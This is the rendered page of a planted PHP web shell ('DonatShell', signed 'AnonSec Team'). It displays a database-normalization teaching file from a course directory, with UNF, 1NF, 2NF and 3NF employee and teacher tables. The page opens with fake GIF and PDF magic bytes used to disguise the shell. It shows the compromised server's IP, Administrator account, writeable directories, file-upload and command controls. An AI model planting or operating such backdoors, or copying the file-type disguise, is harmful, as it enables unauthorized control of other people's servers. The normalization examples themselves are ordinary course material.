GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1600/_Examples/Normilization/beginnersbook.txt
beginnersbook

First Example:
UNF:
employee:
emp_id  emp_name  emp_address  emp_dept
101     Rick      Delhi        D001,D002
123     Maggie    Agra         D890
166     Glenn     Chennai      D900,D004

1NF:
employee:
emp_id  emp_name  emp_address  emp_dept
101     Rick      Delhi        D001
101     Rick      Delhi        D002
123     Maggie    Agra         D890
166     Glenn     Chennai      D900
166     Glenn     Chennai      D004

2NF:
employee: (emp_id*, emp_name, emp_address)
emp_id*  emp_name  emp_address  emp_dept
101     Rick      Delhi
123     Maggie    Agra
166     Glenn     Chennai
employee_dept: (emp_id*@, emp_dept*)
emp_id*@  emp_dept*
101     D001
101     D002
123     D890
166     D900
166     D004

3NF:
employee: (emp_id*, emp_name, emp_address)
emp_id*  emp_name  emp_address  emp_dept
101     Rick      Delhi
123     Maggie    Agra
166     Glenn     Chennai
employee_department: (emp_id*@, emp_dept*@)
emp_id*@  emp_dept*@
101     D001
101     D002
123     D890
166     D900
166     D004
department: (emp_dept*)
emp_dept*
D001
D002
D890
D900
D004


Second Example:
UNF:
employee
emp_id 	emp_name 	emp_address 	emp_mobile
101 	Herschel 	New Delhi 		8912312390
102 	Jon 		Kanpur 			8812121212, 9900012222
103 	Ron 		Chennai 		7778881212
104 	Lester 		Bangalore 		9990000123, 8123450987

1NF:
employee
emp_id 	emp_name 	emp_address 	emp_mobile
101 	Herschel 	New Delhi 		8912312390
102 	Jon 		Kanpur 			8812121212
102 	Jon 		Kanpur 			9900012222
103 	Ron 		Chennai 		7778881212
104 	Lester 		Bangalore 		9990000123
104 	Lester 		Bangalore 		8123450987

2NF & 3NF:
employee (emp_id*, emp_name, emp_address)
emp_id* 	emp_name 	emp_address
101 		Herschel 	New Delhi
102 		Jon 		Kanpur
103 		Ron 		Chennai
104 		Lester 		Bangalore
employee_emp_mobile (emp_id*@, emp_mobile*)
emp_id*@ 	emp_mobile*
101			8912312390
102 		8812121212
102 		9900012222
103 		7778881212
104 		9990000123
104 		8123450987


Third Example:
1NF:
teacher:
teacher_id 	subject 	teacher_age
111 		Maths 		38
111 		Physics 	38
222 		Biology 	38
333 		Physics 	40
333 		Chemistry 	40

2NF:
teacher_details: (teacher_id*, teacher_age)
teacher_id 	teacher_age
111 		38
222 		38
333 		40
teacher_subject: (teacher_id*@, subject*)
teacher_id 	subject 
111 		Maths
111 		Physics
222 		Biology
333 		Physics
333 		Chemistry

3NF:
teacher_details: (teacher_id*, teacher_age)
teacher_id* 	teacher_age
111 		38
222 		38
333 		40
teacher_subject: (teacher_id*@, subject*@)
teacher_id*@ 	subject*@ 
111 		Maths
111 		Physics
222 		Biology
333 		Physics
333 		Chemistry
subject: (subject*)
subject*
Maths
Physics
Biology
Chemistry



Fourth example:
employee_details:

2NF:
emp_id 	emp_name 	emp_zip 	emp_state 	emp_city 	emp_district
1001 	John 		282005 		UP 			Agra 		Dayal Bagh
1002 	Ajeet 		222008 		TN 			Chennai 	M-City
1006 	Lora 		282007 		TN 			Chennai 	Urrapakkam
1101 	Lilly 		292008 		UK 			Pauri 		Bhagwan
1201 	Steve 		222999 		MP 			Gwalior 	Ratan

3NF:
employee:
emp_id 	emp_name 	emp_zip
1001 	John 		282005
1002 	Ajeet 		222008
1006 	Lora 		282007
1101 	Lilly 		292008
1201 	Steve 		222999

employee_zip:
emp_zip 	emp_state 	emp_city 	emp_district
282005 		UP 			Agra 		Dayal Bagh
222008 		TN 			Chennai 	M-City
282007 		TN 			Chennai 	Urrapakkam
292008 		UK 			Pauri 		Bhagwan
222999 		MP 			Gwalior 	Ratan

Fix the zip/two+ city problem:
3NF:
employee:
emp_id*@ 	emp_name 	zipcityId@
1001 		John 		1
1002 		Ajeet 		2
1006 		Lora 		3
1101 		Lilly 		4
1201 		Steve 		5

employee_zip: (zipcityId*	emp_zip 	emp_state 	emp_city 	emp_district)
zipcityId	emp_zip 	emp_state 	emp_city 	emp_district
1			282005 		UP 			Agra 		Dayal Bagh
2			222008 		TN 			Chennai 	M-City
3			282007 		TN 			Chennai 	Urrapakkam
4			292008 		UK 			Pauri 		Bhagwan
5			222999 		MP 			Gwalior 	Ratan
6			55350		MN			Hutchinson	Mid West
7			55350		MN			Cedar Mills	Mid West


Anon7 - 2022
AnonSec Team